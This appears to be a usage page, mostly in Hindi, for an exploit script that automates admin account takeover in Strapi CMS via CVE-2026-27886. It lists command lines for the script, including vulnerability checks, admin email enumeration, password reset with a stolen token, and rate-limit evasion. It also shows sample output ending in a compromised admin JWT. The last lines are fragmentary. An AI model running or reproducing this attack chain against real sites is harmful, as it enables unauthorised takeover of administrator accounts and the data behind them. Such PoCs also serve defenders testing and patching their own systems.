
Account takeover full PoC for CVE-2026-27886 in Strapi CMS
4 HTTP अनुरोध समूहों में पूर्ण खाता अधिग्रहण श्रृंखला को स्वचालित करती है:
शोषण किए बिना जाँचें कि लक्ष्य भेद्य है या नहीं:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
यदि आप व्यवस्थापक ईमेल नहीं जानते हैं तो सब कुछ स्वचालित करें:
./cve-2026-27886-exploit.py https://target/api/articles
आउटपुट:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
यदि आप पहले से व्यवस्थापक ईमेल जानते हैं (~500 अनुरोध बचाता है):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
डिफ़ॉल्ट के बजाय कस्टम पासवर्ड सेट करें:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
यदि लक्ष्य में दर सीमा है:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
यह प्रत्येक अनुरोध के बीच 100ms जोड़ता है (पूर्ण शोषण के लिए ~2-3 मिनट)।
यदि /admin/* एंडपॉइंट किसी भिन्न होस्ट पर हैं:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles, आदि।updated_by_id विदेशी कुंजी नहीं)--delay 0.05 या अधिक जोड़ेंयह स्क्रिप्ट: